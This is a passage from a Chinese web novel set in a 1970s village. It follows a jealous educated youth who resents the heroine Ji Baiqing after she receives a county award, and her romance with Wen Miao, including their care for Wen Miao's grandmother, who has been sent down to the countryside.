既然季白青执意要去帮温向荣,那他现在更没必要对温向荣动手了。 最好将季白青的名声彻底搞臭,这样都不需要陆延出手,季白青和她的家人都会被村里人看不起、孤立排斥,到时候…… 这才是陆延想要看到的局面。 见陆延笑得奇怪,还不回她的话,沈念念觉得有些奇怪。 “陆延哥,你听见我说话了吗?” 陆延这才淡淡道:“听到了念念,我知道了。” 沈念念对他甜甜一笑:“你知道就好,我就怕你被温淼蒙在鼓里,我都没想到她和下放的黑五类竟然还有这一层关系在,上梁不正下梁歪,难怪说她一直都那么不讲理。” 听了这话,陆延倒是深有体会,十分赞同地点了点头。 不只是温淼,季白青和她那个娘也是,一个动手不讲理,一个泼辣。 不过,既然这样,陆延觉得自己更不该对温向荣动手了。 温向荣的身份能够让季白青被两个村里的人非议,看着季白青过得艰难,陆延就高兴。 陆延完全将陆老爷子和陆父的叮嘱抛在了脑后,只想看季白青因为与温向荣接近而被村里的人议论、排斥。 如果温淼愿意来求一下他的话,那他也不是不能够大发慈悲先下手,只要温向荣没了,温淼的名声就没问题了。 他要等着温淼承受不住后先来对他开口。 光是这样听着村里人对季白青和温淼的指责和骂言过了几天,陆延每天去上工都多了几分力气。 这天才下工回知青点,一身的疲惫还没有卸下,刚在凳子上坐下,就听见刚回来发方海洋骂骂咧咧的声音。 “他大爷的,这个季白青怎么就这么命好!” 陆延拿着筷子的手一顿,抬头看他,眉头皱起:“怎么了?” 方海洋一屁股坐了下来,同他说自己刚听到的话。 “我听说今天有人去采访她了,她好像要登上报纸。” 闻言,陆延身体僵住,过了一会儿才缓和。 他说出来的话也带着安慰自己的意味:“没事,这肯定不是什么好事,说不定是要登报批评。” 登报批评,很正常。 方海洋挠头,刚想多说几句,但见陆延没有继续聊下去的意思,便只能住嘴。 沈念念觑着他的脸色,将碗里为数不多的肉夹了几块到他碗里。 这举动让陆延觉得内心熨帖,他弯唇一笑,“还是念念好。” 看着碗里剩下的最后一块肉,潘红霞默不作声地夹进了自己嘴里。 见状,方海洋炸了。 “潘红霞,最后一块肉你怎么能自己吃了!” 潘红霞低头不说话,一边沈念念的表情也有些难看,恨恨地瞪了她一眼。 她也还没吃上呢! 随后才压下心里的情绪,柔下声音:“没事的,方海洋,别和红霞过不去,我下次去看看能不能想办法多买点肉。” 陆延见方海洋转头就看向了自己,也有些不耐烦,从碗里给沈念念夹出去一块肉后迅速就着菜将碗里的东西吃完了。 两天过后,看着村里贴着的季白青的表彰报纸,陆延的手垂在身侧,拳头紧握,手臂上青筋暴起。 季白青!这个该死的报社怎么还敢把季白青的事迹登上去表彰的! 她明明是个和黑五类混在一起的坏成分的女人,她凭什么能够上报纸! 盯着那张报纸,陆延不顾还有其她人在看,伸出手直接将报纸扯下来撕碎。 报纸在他的手里化为了碎渣,原本还有人在回味着报纸上的内容,虽然不识字,但看看照片也是好的,但此时却突然被陆延打断。 男人长得人高马大,这么长时间的劳作让他晒黑了不少,又有着一身腱子肉,光是看起来就觉得不好惹。 她们不敢靠近,只能在一边窃窃私语,议论纷纷。 “这个陆知青是不是有病?突然那么狂躁!” “不知道,也许是得了疯牛病。” “好好的一张报纸怎么他了?这可是我们村出的第一个能够登上报纸的人。”一个大娘心疼地开口。 马上就有其她的人附和:“就是啊,报纸好端端地贴在这儿,又没有招他也没有惹他,也不知道是在发什么疯病。” “果然,即使是城里来的知青还是不能够和白青那丫头比,还是我们白青丫头好,都登上报纸了!” 听了这话,陆延死死地盯着说话的大娘,眼神阴沉,像是想要将她人也撕了。 “她算个屁,还敢和我比!” 周围的人被他暴怒的声音吓一跳,顿时也有人忍不住了,捞起袖子正准备和他干仗,哪知刚才还气势汹汹的陆延说完话后像条战败的狗似的离开了。 知青点,方海洋也被刚回来的陆延黒沉的脸色吓了一跳,小心询问:“陆哥,你这是怎么了?” 陆延转头看向他,声音嘶哑:“你知道季白青登上了表彰报纸?” 方海洋被他盯得心里发虚默默点了点头。 “怎、怎么了?” 陆延一脚踹在木柜上,吼他:“那你为什么不告诉我!” 让他像个蠢货一样,沾沾自喜、自欺欺人。 季白青现在一定很高兴吧,又把他给耍了。 方海洋被他突如其来的动作吓一跳,往后退了退,拉开两人的距离。 “那个、陆哥,我看你当时不想多说,我就、就没提。” 这话刚说话,一个结结实实的拳头就落在了方海洋的脸上。 “你他爹的就不能多说几句?!” 陆延的力气不小,一拳头砸在脸上是实打实的疼。 莫名其妙被打,方海洋即使有心要讨好陆延也被激出来几分血性。 扯住陆延的衣领后,也对着他的脸打了几拳。 “陆延你他大爷的有病吧!” 你一拳、我一拳,两人逐渐扭打在一起。 还是被回来的潘红霞和沈念念撞见了,连忙上前去将两人分开。 “陆延哥、方海洋,你们别打了!” 沈念念拉偏架,和潘红霞一起制住了方海洋,让他脸上又被陆延砸了几拳。 两人彻底分开后,方海洋往地上吐出一口血沫,恶狠狠地盯着陆延: “你不就是忮忌季白青?你忮忌温淼喜欢她,忮忌她过得那么好,忮忌她比你强比你有能力!你不过是个什么都要靠家里的废物!你装什么装!” 说完后,他也不顾陆延的脸色有多难看,甩开一左一右两双手后,往房间里去。 陆延脸色扭曲,扭身过去对方海洋吼道:“我忮忌季白青?忮忌一个泥腿子一个土包子一个女人?!怎么可能!” 方海洋头也不回:“是不是忮忌,你自己心里有数。” “骗骗别人还可以,别把自己给骗了。” 沈念念在一边听着,心里不是滋味。 什么叫忮忌季白青?陆延还对温淼有意思? 她刚想要说什么,又偏头看了眼潘红霞,潘红霞十分有眼色地回了房间。 沈念念这才抚上陆延被打的发青的脸,小声道:“陆延哥,我知道你不是忮忌季白青。” 她道:“更何况温淼也没什么好的,陆延哥,你看看我,我还在原地等着你。” 闻言,陆延一怔,低头对上了沈念念那水涟涟的眸子,明亮的鹿眼中倒映着他的影子。 原本并不想松口的陆延却在此时有些动摇。 沈念念似乎看出来他的纠结,微微一笑,“陆延哥,你在我心里比季白青要强多了,不要和她比较,你才是最好的。” “我就站在原地,只要你需要的时候,随时可以来找我,我会安慰你支持你的。” 陆延眼热,握住沈念念的手,心中的天平此时彻底偏向沈念念。 “念念,我一直都知道你的心意……我们处对象吧。” 终于听到了这句话,沈念念内心的喜悦都藏不住。 她望着陆延的眼睛放着光,小心翼翼询问:“真的可以吗?” 陆延被她的态度弄得有些心软,被方海洋所说的话激起的愤怒都散了几分,此时原本还有些游移不定的心意彻底定了下来,将沈念念揽进自己的怀里。 他语气坚定:“念念,你放心,我是真的喜欢你,这辈子也会只有你一个人。” 沈念念眸中泛起泪光,动容地点了点头。 “陆延哥,我也是。” 在她们没有看到的角落,女知青房间的门露出一条缝隙,随后又被人悄无声息地关上。 沈念念和陆延确定了关系后,听着沈念念在自己耳边一句一句念着他的优点,陆延内心的怒气总算是消散了。 回到房间后,看着在大通铺的另一个角落睡着的方海洋,陆延不屑地笑了一声。 也就傲气那么一会儿,过几天后还不是要来巴结他。 陆延想的也没错,他不理方海洋,方海洋反而每次见着他都想开口和他说话,但陆延气在心头,见着他就直接躲开。 晾了他几天才给他道歉的机会。 两人又恢复了原本的相处模式。 这天是周日,下午陆延和沈念念一起去了山上,回来的路上,两个人的嘴都有些红,衣服皱巴巴的。 刚到知青点门口,方海洋见到他后立马开口道:“陆哥,大事不好了!” “副县长亲自来给季白青发奖状了!”- “白青,别忙活了,县长亲自来给你发奖状了!” 趁着今天有空,季白青特意来地上给地里的菜都浇浇水。 只是刚浇到了一半,就被匆匆赶来的孙大娘叫回去。 听着这话的时候,季白青还有些茫然。 “大娘,什么奖状?” 见她还愣着,又想到季家还有个大官等着她,孙大娘跺着脚干着急,拽着她就要跑。 “你先别管什么奖状,我哪知道是什么奖状!快先跟我回去!” 季白青被拖着走了几步,后知后觉看向地里的扁担和桶,“等等,大娘,我的桶还没拿上。” “哎呀!”孙大娘折回去赶紧拿上,“快快快,别让人家等着你!” 好在地上离季家也并不远,她们很快就到了。 门口的院子里挤着一群人,后排的人看不到里面的人,垫着脚往里看。 季白青眼尖地注意到她和温淼种下来的花都要被踩死了。 她一时间有些心疼,喊道:“别踩我家的花啊!” 也不知道是不是故意的,那人又多踩了几脚。 季白青:“……” 她还想再多说几句,身后的孙大娘却是等不及了,推着她往前走,大喊道:“让让让让!白青丫头回来了!” 前面的人闻言赶紧给她让开,被孙大娘一路推到了家门口,季白青才看清楚家里站着的几个人。 除了温淼、何香月和季伟外,屋里还多了三个人,两个是季白青认识的,梅叙坐在中间,一左一右的女男中一个正是有过两面之缘的小张。 李向东也在,此时正在点头哈腰地听着梅叙的话。 孙大娘停在了门外看着,季白青走进屋子里,对梅叙打了个招呼。 “县长好。” 李向东见季白青终于回来了,松了一口气,伸出手抹了一把头上的汗。 “白青啊,你可算是回来了。” “梅县长今天是特意来表彰你抓到人贩子的,你快来和梅县长说说话!” 城里来的人就是威严,李向东站在梅叙面前被压得根本直不起背,虽然女人的唇角噙着淡笑,但是一身气质却显得不近人情,分外疏离。 季白青走上前,和梅叙握了个手。 “梅县长好,我就是季白青。” 两人的关系不宜暴露在外人面前,季白青只能假装自己和她不熟。 梅叙心领神会,和她握了手后,温婉的声音娓娓:“季白青同志在火车上帮助杨同志找到被抢走的孙女,又帮着警察同志抓到了人贩子,她的英勇事迹登上报纸后在县里引起了热烈的反响,县里特意派我来当面为她授予奖状。” 说着,她身边的女人递过来一张奖状,梅叙接过奖状,将其授予季白青。 梅叙微笑看着季白青,在她的肩膀上拍了拍:“季同志,好样的!” 随后又面向人群,声音掷地有声:“季白青同志乐于助人、不惧危险的品质值得大家学习,日常生活中,各位要向季同志看齐。” 说完后,不知道是谁带的头,村民们开始鼓掌。 唯有一道眼神落在季白青身上,即怨恨,又阴冷毒辣,像是一条随时要跳起喷射毒液的毒蛇。 梅叙又看了眼季白青,淡淡对人群道:“好了,大家都回去休息吧,我也该回去了。” 李向东十分有眼色地驱散人群,“行了。大家伙都回家去干自己的活!赶快散散!” 人群散去,李向东又看向梅叙,谨慎问道:“县长,您还有什么吩咐吗?” 梅叙摇了摇头,“我还想和何香月同志多聊几句,村长你先回去吧。” 知道了自己可以离开,李向东总算是彻底放松了,连连点头。 “好,那梅县长我就先回去了。” 他看着季白青:“白青丫头,招待好梅县长。” 说完后,他头也不回地往家里走。 梅叙也对着身边的两个人道:“小张、小李,你们先出去走走,待会儿我再去找你们。” 等到人离开了,梅叙才露出温柔些的笑意。 “真是没想到这么巧,刚好就轮着我来给你发奖状了。” 季白青也笑了,“我都没想到还能有奖状呢。” 这让她回想起了上辈子读书的时候,也是一张张奖状拿到手软。 原本以为就一个报道就完事了,没想到居然还有后续。 她刚才差点没有反应过来。 梅叙看向温淼,眼神中有些怜惜,轻声问:“淼淼怎么瘦了?” 温淼摇头,盈盈一笑:“大概是梅姨你太久没见我了。” 何香月和季伟见季白青和温淼和梅叙之间的言语亲昵,一时间有些惊讶。 季白青向她们介绍梅叙:“娘、爹,这是梅姨,之前帮过我的忙。” “梅姨,这是我娘爹。” 梅叙和她们一一握手。 知道她们肯定有话说,何香月拉着季伟出去了。 梅叙将带来的东西拿出来:“这些都是给小季你和淼淼的东西,还给温姨买了点补品。” 一共有四五个袋子,里面装的东西不少。 季白青有些不好意思,“梅姨,你不用这么破费的。” 梅叙垂眸一笑,“这没多贵重,更何况……” 更何况温泠月现在不在了,照看她女儿、女媳和母亲的责任她也该为她承担部分才是。 话到了嘴边,梅叙又咽了下去。 还是不说为好,说出来了也只是平添伤心。 “更何况温姨现在还要养身体,我也不好去看她,要等着以后有机会才行了。” 都这样说了,季白青和温淼也没有继续推拒。 虽然是周日,但梅叙下午还有其它公事,也没在季家多坐,趁着还剩下些时间,去了卫生室旁边温如嫣的小屋子。 温如嫣原本是在家里煎药,听见敲门声以为是季白青来了,便跑过去开门。 见着陌生的女人后,她一愣。 梅叙看着面前的温如嫣,微微一笑。 “是嫣嫣吗?” 温如嫣总觉得她有些眼熟,回忆良久,眼睛一亮:“是梅叙姐吗?” 梅叙没想到她还记着自己,笑着点头。 “是我,没想到你还能记住。” 温如嫣让她进来坐,她现在住的地方面积不大,但收拾的整齐,屋子里挂着香包,花香混合着清凉的薄荷味和浅淡药草清香。 温如嫣说:“那时候姐姐总带你来家里,七八岁,我也记事了。” 提到了温泠月,一时间两人都有些沉默。 梅叙左手手指发颤,勉强用另一只手按住,声音中的颤音却不大好遮掩。 “都过去二十多年了。” 温如嫣点头,又看了眼梅叙,最后还是违背了温泠月的意愿开了口:“梅叙姐,其实我姐姐想过离婚……” “只是……没多久,她就病了。” 病入膏肓、无药可救。 知道自己没几天能活后,温泠月就没再提过这回事,毕竟只是徒劳。 不过温如嫣却知道,她起了离婚的念头,大概和梅叙有些关系。 她们之间是友情还是爱情,温如嫣始终不懂,只知道,梅叙是在温泠月心中除了家人外最重要的一个。 她不知道这话梅叙想不想听,见梅叙脸色变得有些难看,她连忙道歉: “梅叙姐,对不起,我不该和你说的,姐姐她也没想我和你说这回事,是我自作主张。” “温泠月还不想和我说?”梅叙冷笑一声,左手抖得更加厉害。 温如嫣站在原地,不知道该怎么回。 梅叙揉了揉额心,很快道歉:“对不起嫣嫣,我刚才情绪有点激动。” 温如嫣完全是被她迁怒,她最恨的人还是温泠月。 如果温泠月真的想要联系她的话,完全有很多种办法来见她。 而不是寄来一封又一封明知不会被她打开的信。 或许就是知道那些信不会被梅叙打开,所以温泠月才从一开始的恳求求和变成大胆的对她的指责,最后词句中染上萎靡。 温如嫣小心翼翼观察着梅叙的脸色,低声问:“梅叙姐,你是不是喜欢姐姐?” 梅叙勾唇,眸中冰凉一片。 “我恨她。” 恨她不告而别、恨她避自己为洪水猛兽、恨她……不爱她- 把梅叙她们送走后,季白青看着那奖状,觉得有些别扭。 见何香月喜欢得很,便直接给她了。 “娘,你拿回房间去看吧。” 何香月怒视她一眼:“不懂珍惜!” 季白青:“……我只是觉得有点不好意思。” 除了一张奖状,其实还有个笔记本和钢笔,她把这俩拿回了房间。 没在房间看到温淼,她刚想找人去拿了,透过窗户看见正蹲在花丛前的女人的背影。 嘶,差点把被踩的花给忘了。 她带上工具又打了点水过去,在温淼身边蹲下。 好在只是边缘的几丛枝叶被踩到,枝条直接折断,应该活不了了。 季白青和温淼一起用剪刀将这些剪下来,又给浇了水。 看温淼一脸心疼,她安慰:“没事,再过一年还会新长的。” 她想着,要不待会儿下河抓两条鱼去,把内脏剖了埋在周围,可以给花施肥。 鱼还能吃,一举两得。 季白青站起来,伸出手,将温淼拉起来。 戳戳她的脸颊,软肉陷下去一个窝,她笑:“别难过了,带你去抓鱼好不好?” 温淼抓住季白青的手指,有些娇气地晃了晃,和她说自己的心情:“不只是因为花,还有其它原因。” “嗯?”季白青有些困惑。 还能是什么惹得大小姐生气了? 温淼见她这模样,就知道她肯定是什么都不知道。 上手去扯她的脸颊,将人捏得发出几声模糊的“唔唔”声,温淼才满意下来。 “那个小张肯定是喜欢你。” 上次去登门感谢梅叙的时候她就感受出来了,那人的眼珠子黏在季白青的身上撕都撕不下来。 如果不是那天季白青突然头疼,她肯定是要吃醋的。 但是如果遇上季白青难受的话,温淼会变得成熟很多。 季白青还真仔细回忆了一下,“不能吧。” 温淼瞪她,季白青败下阵来。 “行吧,他喜欢我又怎么了?我只稀罕我面前这个。” “行啦,醋味整个村都快闻到了,还不快收一收。” 季白青语气揶揄。 温淼有些羞耻,又瞪她一眼,“你才是!” 她才不是什么小气、爱吃醋的人。 只是很讨厌有人喜欢她的爱人而已! 季白青是温淼的,才不许别人觊觎。 【作者有话说】 对不起,写的时候突然想到那个:让让让让快让让,妈妈的保镖来了哈哈哈哈 感谢投雷和营养液,感谢评论订阅收藏~ 投雷的宝真的很感谢你们额外的支持,但有些我没看到的就没有单独回复感谢,请不要介意呜呜 83 第83章 ◎她们相爱的世界◎ 季白青迁就她,语气宠溺:“好好好,我才是。” 这语气一听就是哄小女孩的。 偏偏温淼很吃这一套,桃花眼弯起,眼尾微微上翘,漂亮又娇俏,比路边开得正盛的桃花还要艳。 她牵着季白青的手,“走啦,去抓鱼。” 和季白青在一起差不多有一年的时间,温淼聪明,很多生活技巧一学就会,在一边见季白青干多了,耳濡目染之下,很多技巧她都能学得差不多。 没一会儿功夫,两个人就各自抓到了一条鱼。 不过季白青手上的那一条要肥硕一些,也算是她的运气好。 现在还在春天,鱼不肥,温淼手里那条就是瘦条条的,要等着秋天才能够有大鱼。 季白青用草绳给鱼串上,和温淼一起往家里走。 路上,碰巧遇到了前段时间拦下温淼的吴婶,她看到淼和季白青走在一起,一时间觉得有些尴尬。 但想到了季白青得到的表彰,最后还是硬着头皮和她们打招呼:“哈哈,白青,温知青,好巧,在这遇上你们。” 温淼冷淡地点了点头,季白青想到她前段时间的冷嘲热讽脸上也没有什么表情。 被晾在一边的吴婶有些尴尬,搓了搓裤子。 她内心有些埋怨那些带着她一起说季家坏话的人,早知道季白青会被县里表彰,她就不说那些话了。 刚想开口说点什么缓和气氛,季白青先她一步。 “吴婶,我们先回去了。”季白青不想和她维持表面客气,拉着温淼回家。 到家,两人都没提那些晦气的人和事,看着差不多到可以做晚饭的时间后就将鱼剖开。 处理好了鱼,和温淼一起亲手将内脏埋进花丛边的地里,季白青看向温淼,问:“这下不用担心了吧?再过几天花枝应该就能长好了。” 其实季白青也有些自责:“早知道我下午就喊大声点好了。” 这样的话,好好的花也不会被糟蹋成这样了。 温淼嗔她一眼,哪有这样给自己揽莫名责任的。 “又不是你踩的。” “没事,都不是什么娇贵的花,应该不会有太大问题。” 温淼虽然种花,但也不是过于爱花的人,花种不活最多叹几口气就过去了,只是季家院子里的花是她和季白青一起种下来的,其中蕴含的意义非凡。 离开前最后担忧地看了几眼,温淼没让自己多想。她们做的补救已经够多了,现在再胡思乱想想再多也不能解决现状。 今天晚上炖鱼,难得的肉菜,季白青便打算和温淼一起早一点给温向荣把饭带过去。 带上饭盒,两人往小石村走。 还没走到村口,路上就不少人和她们笑着打招呼。 “白青和温知青去哪啊?” “哎呀,我就知道白青和温知青是个好的,现在一看,多般配啊。” 前后嘴脸变化得位面也太快了,季白青唇角抽抽,没多搭理,往温向荣那边去。 下放后,温向荣也没什么别的事,不需要抽出时间处理公务,不上工的时间要么就是躺着坐着休息,要么就是在牛棚里打军体拳强健身体。 上次伍老三偷了温向荣的东西,季白青第二天直接将摇摇欲坠的门板给拆了,换了个结实的门,套上原来买的锁头,在屋内一锁,只要温向荣不主动出门,就没有人能够上门来打扰她。 往屋后看了看,灶上的锅还在,就是屋檐下堆放着的柴火堆少了不少,大概是被小石村的人给顺走了。 毕竟自己亲手捡的柴哪有直接拿别人的来的轻松。 温淼敲门,没多久温向荣就将门打开了。 见是两人来了,她有些诧异。 季白青举起手里的饭盒,“奶奶,今天晚上炖了鱼。” 偶尔晚上做肉食的时候,季白青她们就会额外地来送一次晚饭。 温向荣接过饭盒,没准备让她们进来。 见她立马就想要关上门,季白青眼疾手快地拦住。 “诶,奶奶,我们还没进去,你关门干什么?” 温向荣道:“我一个老婆子吃饭,有什么好看的。” 话是这样说,但一个人吃饭终究是少了点热闹。 所以每次温淼和季白青都会陪着温向荣吃完再离开。 更何况……季白青的声音有些无奈:“奶奶,饭盒我也要拿走啊,不然明天淼淼怎么来送饭?” 温向荣显然算漏了这一茬,还没想好对策,季白青趁她愣神的功夫直接挤了进去。 将门打开,她让温淼进来,随后利索带上门。 温向荣看着季白青,一时间有些无言以对。 “你们就不知道收敛点吗?” 无论如何,和她少接触才是最好的法子,这些话说来说去,两人就是不听。 温淼看了季白青一眼,无声叹气。 季白青倒还是笑呵呵的,和她说着下午发生的事:“奶奶,上次我不是说我抓到人贩子上报纸了,今天县长就来给我发奖状了。” “你都不知道村里其她人的表情是什么样的,看着可解气了!” 上次给温向荣看那张报纸,不难看出她很宝贝,压在枕头底下十分珍惜地收着。 不过这次听了季白青的话后,温向荣一针见血指出:“所以你们现在最需要的是避嫌,和我保持距离,不然就算是再大的表彰,都没法堵住别人的嘴。” 一样的话被她翻来覆去地说,温向荣觉得自己的嘴皮子都快磨破了,但季白青对此还是充耳不闻。 依旧不在意她人的看法,我行我素。 温向荣不懂,自己还没被下放时对季白青的态度并不算好,现在下放后,季白青却像是没有丝毫芥蒂,对她施以援手,做的比温淼这个亲孙女还要多。 到底是为什么? 季白青不赞同:“我本来就不在意她们的说法,她们说她们的,我做我的不影响。奶奶,这是我的选择。” 眼见着两人间的气氛有些紧张,温淼赶紧开口:“奶奶,快吃饭吧,待会儿我和阿青还得回去呢。” 季白青也软下声音:“是啊奶奶。” 温向荣低头吃饭,吃完后,她对温淼道:“你先出去,我和小季单独说几句话。” 温淼皱眉,“奶奶……” 季白青拍拍她的肩膀,轻声安慰她:“没事,只是说几句话而已,没多久就说完了,蓁蓁先去外面等会儿。” 温淼犹豫看看两人,最后还是出去了,只是在心里祈求她们千万别吵架。 门被掩上,温向荣淡淡开口询问:“小季,我有个问题想问你。” 意料之的场面没有出现,季白青点头:“奶奶,你问吧。” “你为什么要对我那么好?”温向荣的声音里难得带上了几分疑惑。 季白青没想到竟然是这个问题,再看看温向荣带着疑色的脸,瞬间弯起了唇。 “奶奶,其实原因很多,但是最重要的一个原因就是温淼。” “我喜欢温淼,而您对温淼来说很重要。” 所以,在季白青心里,温向荣就很重要。 换做别的人被下放,怜惜的情绪季白青肯定也不会少,也会在暗地里搭一把手。 但绝对不会做到现在这个地步,毕竟她也不是傻子。 能对温向荣这么掏心掏肺,归根结底,不过是季白青爱屋及乌罢了。 这话一出,温向荣怔松。 她抬眼看向季白青,再一次仔细地打量着面前的人。 季白青比温淼要小上三岁,却纤瘦高挑,长相清隽,对上她的时候总是弯着那双杏眼,原本青涩的面孔无端透露出几分温柔。 说着这话时,女人黑眸与她对视,坦然接受温向荣的审视,没有一丝作假。 温向荣立即可以确定,她说的是真话。 一时间心里也有些感叹,温淼在看人这方面倒是眼光独到。 别的不说,至少季白青对她是真的好。 温向荣垂眸,沉声道:“你回去吧,蓁蓁还在外面等着你。” 季白青点*头,“那您好好休息。” 出了门,替温向荣将门掩上,季白青和温淼一起回家。 温淼有些好奇地看着季白青:“奶奶和你说了什么?” 季白青轻笑摇头:“没什么,就是问我累不累,你知道的,她就喜欢说那些话劝我不要来给她帮忙了。” 她所说的这些话确实也是温向荣的风格,所以温淼也没有怀疑。 两人一起往家走。 一转眼,温向荣被下放到小石村已经有小半个月了。 因为有梅叙亲自来云水村给季白青授奖,无论是云水村的人还是小石村的人,大多数都不敢再对季白青多说什么。 临近月中,云水村也抽出时间来在仓库开了一个会。 在宣布完日常事务的分配后,又让每个村民都说了小半年里的思想感悟,李向东才清了清嗓子开始询问: “今年下半年的工农兵大学推荐名额应该也只有一个,大家有推荐的还是要和我说,这样我们才能提前考察考察,到了时间后再上报。” 听见这话,不少人心里都有些激动。 毕竟每年都有的名额,基本都是落在本村的村民身上,只要表现得好,大家的机会都是平等的,不少年轻人都想要毛遂自荐。 原本是杂七杂八的声音,但也不知道是谁最先开口喊了一声,“我看季白青就不错!不仅在镇上有工作,还被县里表扬过,梅县长也说了,她可是我们的榜样!” 此话一出,立刻就有看不惯季家的人脸色一变,在心里暗骂说出这话的人,只是当众骂出口这种事还是不敢做的。 也有人觉得这话说得没错,在一边附和。 但一汇总,最后还是赞同季白青的人占了大多数。 每年分配到云水村的名额基本都是一个,在特别特殊情况下会多出一个。 因为村民们提到季白青名字的更多,李向东虽然有些不情愿,但最后还是将她的名字记了下来。 仓库里的村民七七八八讨论着,而在角落的沈念念有些担心地看着陆延。 陆延现在的脸色不算好,甚至可以称得上难看,黑得像是锅底。 她小心翼翼开口:“陆延哥,你没事吧?” 方海洋站在陆延的另一边,看着黑如锅底的脸色,表面上担心,实际上却死死咬着牙,生怕自己一不小心就笑出来了。 都已经眼红成了这个样子,陆延还好意思说他并不忮忌季白青。 在方海洋看来,陆延快要忮忌死季白青了。 虽然碍于陆延的身份背景和能力,方海洋没选择和他一直决裂下去,甚至还要不顾之前的恩怨,捏着鼻子继续讨好他,但是只要陆延不爽,他就高兴。 高兴得回去能够多吃一碗饭! 陆延没有说话,只是在她人看不见的地方将后牙槽的快要咬碎了,面色越发阴沉。 季白青怎么敢的?她凭什么能有有机会入选工农兵大学的推荐名额? 明明她不过只是一个跟黑五类混在一起的泥腿子罢了! 那些蠢到没边的蠢货居然还推荐她。 她一定是买通了最先提出这话的村民! 季白青和温淼站在仓库的另一边,听着村民莫名提到了自己的名字,也有些莫名。 好端端的怎么就提到她了?她可是毫无存在感地站在角落,一句话都没说! 正想要和温淼说些什么,一张开嘴,一个喷嚏比她要说的话最先冒出来。 季白青顿时捂住了口鼻。 听她打喷嚏,温淼有些担忧地转过了头看她:“感冒了吗?” “没。”季白青摇了摇头。 现在的天气都逐渐暖和起来了,她也没有感受到身体有什么感冒症状,应该不是感冒了。 倒是温淼,因为季节变化喉咙发炎,说话都有些闷声闷气的。 “或许是有人骂我。”她开了个玩笑。 温淼细声问她:“那你现在是什么心情?” 她确实也没想到,工农兵大学的推荐名额可能会落在季白青身上。 一开始听到别人提到季白青的名字,她也微愣。 但是一旦接受这个消息,就会发现季白青无论从哪一方面都很符合要求。 只是她有些难过的是,她没办法和季白青一起上学。 好可惜。 温淼也没有一直囿于低落情绪种,换一个角度来说,她应该为季白青高兴才对。 原本高中毕业的人终于有了机会能够上大学,可以在更大的学府学到更多的知识,以后肯定会比现在更有出息。 只是需要两人分居几年而已。 季白青有些疑惑地歪过头,回答:“什么心情?其实也没什么心情。” 温淼弯唇,“不激动吗?” 出县城、去更大更远的地方见识,不应该是每个人都会激动的吗?而且还能够不再那么辛苦下地干活。 想到这一点,温淼内心的纠结彻底解开。 如果季白青能够去上工农兵大学的话,那她也不用再担心自己和温向荣会拖累她了。 到时候季白青与她距离那么远,就算是想要管她可能都无暇顾及。 注意到温淼脸上的笑意消散了一些,季白青扣住她的手晃了晃,“不激动,其实也不是什么好事。” “而且我不一定能上,毕竟要政|审。” 闻言,温淼松了一口气。 “没事的,我们又还没有结婚。” 她现在突然感到庆幸,还好先前没有因为一时冲动松口答应去领证结婚,不然被下放的温向荣多少会影响到季白青的政|审,到时候白白错失一个机会。 她语气柔柔,因为喉咙发炎带了些沙哑:“肯定要去试试的呀。” 凭借季白青的能力,十有八|九能上。 季白青看她已经在为自己考虑那么久以后的事情了,一时间有些好笑。 “这么想让我走远点,嫌我烦了?” 温淼瞪她,知道她是故意说出来这话的,所以也跟着她的话说,要气气她。 “就是嫌你烦。” 季白青环视一圈,见众人的视线都落在中心的李向东身上,刚好伸出手来掐一把温淼的脸颊。 “好你个坏淼淼。” 也就轻轻捏了一把,没舍得用力,但温淼皮肤嫩,还是难以避免地留下了淡粉色的印记。 温淼抬头看她,眸中映着一条银河,明亮粲然,“这是个很好的机会,阿青,你要去争取。” 这话即是对季白青说的,也是对温淼自己说的。 爱一个人不应该用感情限制她,而是要让对方有机会去成长、去闯荡才对。 季白青见她这满眼期待的样子就觉得有些头疼。 先不说她到底是不是真的有机会得到上大学的名额,如果她真的去上学了,那温淼又应该怎么办?她不舍得和温淼分开。 更何况,明年高考就恢复了,与其在限制的条件下继续上学,她不如等着高考恢复后和温淼一起参加高考,考到一个大学或者是一个城市,学校的招收学生的水分比工农兵推荐名额要少太多。 她只能敷衍道:“淼淼,这件事还早呢,不着急。” 等她想出来借口后,再给温淼好好解释。 温淼有些不满地盯着她,但一见到季白青皱起的眉心又有些担心,小声问:“又头疼了吗?” 季白青揉着太阳穴,指腹施力,重重按在太阳穴上才算是有所缓解。 眼前似乎飞速闪过片刻画面,她却什么都没能捕捉,眼前一黑,闭了闭眼后再度睁开才恢复一两分。 她唇瓣发白,轻轻点头。 温淼顿时什么都顾不上了,扶着季白青出仓库。 鼻尖的汗味被清风吹散,季白青还有些眼花,神思恍惚被温淼掺着回了家。 她接过了温淼倒的水,一咕噜咽了下去。 温淼站在她的身后,给她揉着那几个熟悉的穴位,过了一会儿轻声询问:“好点了吗?” 季白青的眼前还带着重影,一时间再度怀疑自己的身体是不是真的出什么大问题了。 听出来温淼话里的担心,她不想让女人又多了些困扰,只是柔柔一笑,“现在好多了,只是头有些疼,淼淼,我能睡一会儿吗?” 温淼眸中泪花晶亮,听她这么问,把眼泪憋回去。 “睡,我难道还能不让你睡吗?” 季白青轻笑一声,撑着凳子站了起来,手放在她的肩膀上,凭着对温淼的熟悉准确探寻到了女人柔软红润的唇瓣,一下亲了上去。 在她的唇上辗转,带出湿漉漉的水光,感受到落在自己脸上的视线,季白青的语气含糊,温柔低哄:“乖,闭上眼睛。” 温柔如水的吻给温淼带来了极大的安抚,亲完后,看着季白青粉色的脸颊和不复苍白的唇瓣,温淼也有些羞怯,抱着她的腰,黏糊糊道:“不是要睡觉吗?” 季白青应了一声:“嗯,我们一起。” 被温淼扶着,季白青才避免了被她看着平地摔的窘迫,也没被她发现什么端倪。 在床上躺了一会儿,两人却都没睡着。 身体出现的异状太多,头疼、眼花、偶尔耳边的回音,这些似乎都不太正常。 到底是哪里出了问题? 大大小小的检查,季白青被温淼强行要求去过几次,后来随着身体出现的问题越来越多,季白青也自己去过医院检查,最后无意例外,都没有检查出来什么问题。 温淼也让温如嫣给她把过脉,即是是温如嫣的水平,最终发现的也都是一些微不足道的小问题。 除了头疼这一个老毛病之外,季白青还没有将其它的问题告诉温淼。 不然温淼肯定得哭鼻子。 不只是温淼见不了她的眼泪,季白青也见不了温淼的。 大脑中的思绪杂乱无章,季白青阖着眼睛,胡乱想着。 耳边突然隐约传来温淼的声音,她悠悠回神。 “怎么了?” 温淼再次重复一遍:“现在还疼吗?” 季白青一个侧身,闭着眼睛将自己的脸埋在温淼的胸前,腿也霸道地搭上了温淼的,像是考拉一样环抱着人。 